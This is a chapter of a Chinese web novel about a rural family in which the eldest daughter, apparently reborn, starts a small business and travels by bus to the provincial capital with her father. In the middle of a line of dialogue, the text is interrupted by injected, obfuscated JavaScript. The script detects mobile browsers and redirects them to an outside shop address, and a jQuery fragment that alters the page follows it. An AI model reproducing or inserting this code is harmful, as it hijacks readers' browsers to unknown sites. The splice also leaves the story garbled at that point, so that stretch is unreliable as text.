21. 第 21 章
作品:《年代文长姐重生了》 有了本钱,王桂芬也不再为借钱的事忧心了。
说了很多感谢的话后,再三确定道:“你真有把握?”
“妈,你都问了好多遍了。”常嘉贇有些无奈,“你连我都不信了吗?”
王桂芬迟疑了,她没有立即回答。
要说三个孩子里面,只有常嘉贇最让她省心了。她也知道常嘉贇做不出来那种乱花钱的事情。
“不是妈不信你。”王桂芬开口,“老话说的话,不怕万一,就怕一万。”
意识到自己这么说,会打击到常嘉贇的信心,很多话她都咽回了肚子里。
“算了算了,借到钱了就好。”王桂芬嘟囔着,又去忙了。
常嘉贇看着她的背影,没有说话。家里人的反对和有时候的不理解,让她的难度上升了不少。
还好在她的不懈努力下,不管是常老太也好,还是常为国和王桂芬,都转变了思想,进而支持她。
不然,她只能背着他们开始自己的计划。
她神色复杂,常梦泽碰了她一下,她都没有给出意料之内的反应。
怕常嘉贇因为王桂芬的话多想,常梦泽安慰道:“姐,你也别多想,咱妈就那样一个人。”
常嘉贇收回了目光,反问道:“咱妈怎么一个人?”
常梦泽掰着手指头,“不会说话,脾气急,总是絮叨个不停。听说上了年纪的人都会这样子,姐,你别听就好了。”
“妈会这么想也很正常,她谨慎惯了,总会考虑提前考虑各种各样的风险。”常嘉贇说道。
再加上以前买东西,可并不方便。需要各种各样的票。
他们这一处地方,因为气候和常年耕种的原因,导致土地贫瘠。
没有足够的养料和相辅的灌溉措施,粮食减产是件意料之类的事情。
这片土地,可是被一代一代的人,耕种了上千年之久。
“做最坏的打算,并没有什么。姐可是有着十足的把握,那些风险,可以忽略不计。”
常梦泽眨着眼睛,似乎是没有听懂。
常嘉贇笑了一下,继续道:“任何事情都伴随着两面性,也就是风险和利益是并存的,就连婚姻都不例外,更别说生意了。”
常梦泽更加茫然了,她只不过是安慰了一句,为什么她姐会突然间说出婚姻这种遥远又高深的话题。
“没有什么事一帆风顺的。唯一的好处就是,我们做的事小本生意。”
就算是小本生意,这些钱对他们来说,也不是那么容易凑齐的。
借来的这笔钱,给了他们一家人不小的负担。首当其冲的,就是常为国和王桂芬两人。
生怕因为出现什么意外,这笔钱在他们手里被人偷走。
下午出门劳作的时候,两人一直都心神不宁的。
考虑到这么多钱放在家里也不安全,常为国和王桂芬一合计,索性让常嘉贇和常梦泽两个孩子呆在家里。
临走时,王桂芬特意凑到常嘉贇的耳边,小声嘱托了很多遍。
“不行了去谁家抱个狼狗吧。”常嘉贇思索了片刻开口道。
“我已经给二狗妈说了,等他家狗子下崽的话,给我们一只。”
王桂芬一步三回头的离开了家里,常嘉贇则是拿了拿起了久违的数学本子,回顾着自己学过的知识。
常梦泽搬了个凳子,坐在门口写作业。
写了没有几个字,她就凑到了常嘉贇的跟前,“姐姐姐。”
“怎么了?”头也不抬的常嘉贇问道。
“我明天可以和你一起去吗?”常梦泽撒娇道。
“这恐怕我说了不算,你得问问咱爸和咱妈。”
常梦泽一脸不情愿地放下了手,“我就是去见见世面,姐,你之前也说过了,只要多见见世面,将来就绝对不会被骗。”
“我肯定是不会被人骗啦,但是见见世面总没错吧?”常嘉贇问道。
常嘉贇放下了手上的一截短小的铅笔,“是没错。”
“那……”
“等过段时间吧。你也知道咱妈咱爸不放心。”常嘉贇将手放在了常梦泽的头上,“你要跟着的话,先不说咱爸咱妈了,铁蛋也会跟着闹的。”
“以后有机会了,姐当然要带着你一起去的。”
“要想生意做大,光靠我一个人肯定不行。姐知道你在生意上有天分,不能白白把这些浪费了。”
被常嘉贇夸奖了一番,常梦泽的心情好了很多。
她不住地点着头,承诺自己一定要好好学习。
见她乖乖的奋笔疾书,常嘉贇也看向了自己面前的本子和书。
第二天一大早,常老太和王桂芬早早起来,给一家六口人准备着早饭。
考虑到今天是常为国和常嘉贇出远门的日子,常老太为此多煮了两个鸡蛋。
又拿出了保存时间久的石子馍,让他们在路上吃。
常梦泽有些不舍,但还是乖乖地在家等着好消息。
因为常嘉贇的那番话,她学习的热情空前高涨。
生平第一次有了当家作主的感觉,常梦泽的干劲十足,数学书差点被她翻烂了。
趁着家里各忙各的,她走出门了。生平怕老师的她,敲响了自己代课老师的门。
常嘉贇和常为国走到了修建的国道上,等待着一个小时一趟的汽车。
她的视线,一直盯着车来的方向。唯恐自己错过了车,要多等一个小时。
和他们紧紧粘在一起的,是几个人外出打工的人,地上放着大包小包,脸上洋溢着开朗的笑容。
常为国和几人说着话,都是附近的村民。细聊之下,发现了大家都能拉上点关系。
一旦沾上点远房亲戚关系,瞬间将人的距离拉近了。
常嘉贇侧着耳朵,专心的听着他们的谈话。
这几位比常为国年轻不少的人,是想趁着年前,去外面闯一闯,好赚点回家过年的钱。
家里的一切事物,都留给了老人和妻子打理。
听到这些话的常为国,脸上一直在发烫。
这个念头,他不是没有想过。
只是考虑到留王桂芬一个人在家,更为辛苦一些,这样的想法一经出现,就被他打消了。
常老太和王桂芬两个人照顾家里和农田,是绝对没有问题的。
来年常嘉贇上了高中,到时候住校,他们的压力就更大了一些。
他本年打算等到新年后,再和王桂芬好好商量一番的。他迫切的需要一份结现钱的工作。
现在,事情似乎有了转机。常为国将目光放在了常嘉贇的身上。
周围人看到常嘉贇的时候,也都夸了几句。顺便询问他们此去的目的。
常为国也没有藏着掖着,一五一十都交代了。
“做生意好啊。”其中一位年长点的说道。
汽车来了之后,等其他人往车顶塞行李的时候,常嘉贇小声道:“爸,待会上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678550|142850||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
车了,你可别什么都往外说。”
“这一点爸还是知道的。”常为国道。
长途汽车上的小偷,可比她和常梦泽摆摊时候遇到的多多了。很多时候,他们都是团伙作案。
几人配合默契,还经常倒打一耙,有嘴都说不清。
两人上了车,常嘉贇习惯性的找到了一个位置。
在她后面上来的常为国,刚想坐到常嘉贇的旁边。就被一个女乘客抢先了。
“小妹,你这是做什么去啊?”来人熟络道。
正准备看向来人的常嘉贇,在这张陌生又熟悉的脸上停顿了一下,想起了这么女乘客的身份。
是之前买了她水煮蛋,又买了葡萄的一位女工人。具体工作是做什么的,常嘉贇并不清楚。
常嘉贇扬起了笑脸,“姐姐好,姐姐也是要去省城吗?”
“是啊,我爸妈过来了看我了,我去接他们。”那位大姐说道。
常嘉贇没有多问,这位大姐的口音,早就暴露了她的出生地,或者是暴露了她从小的生活环境。
听到常嘉贇和那位女乘客认识,两人又聊的分外投机,常为国只得坐在旁边的椅子上。
两人之间,隔着一个过道。常为国的旁边,坐着一个年轻人。
那几位刚认识的老乡上来之后,纷纷落座。那位和常为国聊的最多的人,就坐在常为国的斜后方。
车辆启动后,那几位老乡再次攀谈了起来。小到村里谁家做饭多放了一勺盐,大到国家的政策方针,顺便回忆下以前的种种。
声音大的将常嘉贇和那位大姐的聊天声压力下去。
中间的车辆停了不少次,时不时有短途的人下车,车上的人又多又挤的,空气又不是很流通。
常嘉贇觉得自己有些晕车。
她闭上眼睛,靠在椅背上,似乎是在缓解晕车所带来的不适。
见她脸上有些惨白,不是特别舒服。意识到她晕车的大姐,拿出了一小盒清凉油,递给了常嘉贇。
“抹点这个吧,会舒服一些。”
常嘉贇勉强睁开了眼睛,看着这位大姐担忧的面容。
两人认识的时间并不久,仅仅是聊过几句的程度。这种被人关心的感觉,让常嘉贇的眼睛有些酸涩。
她接过了这位大姐递来的东西,感激道:“姐,谢谢了。”
“我这个年龄,你应该喊阿姨。”那位大姐笑着说道。
“喊姐更年轻一些。”
在太阳穴的位置,和额头上抹了点清凉油之后,常嘉贇将手里的东西还了回去。
不一会儿,这两处地方就热辣辣的痛,时不时有薄荷的味道,钻进鼻子里。让常嘉贇不至于那么难受。
走到了差不多的距离,短途的人,基本上全部下完了。剩下的,全是直奔汽车站的人。
这位大姐也不说话了,她坐在座位上,听着其他人的聊天。偶尔在说道什么大方针的时候,插进去一两句。
在这个遍地都是商机的时代,没有人愿意守着一成不变的生活。
就连这位大姐,也有着不小的野心。
常为国看了几眼,意识到常嘉贇旁边的那位大姐不是坏人之后,他将心放在了肚子里面。
他旁边的那位年轻人,似乎对这些不感兴趣。
每次常为国视线不经意看过去的时候,他都看着车窗外面的风景。
常为国也不再自讨没趣,而是回过神,听着其他人的言论。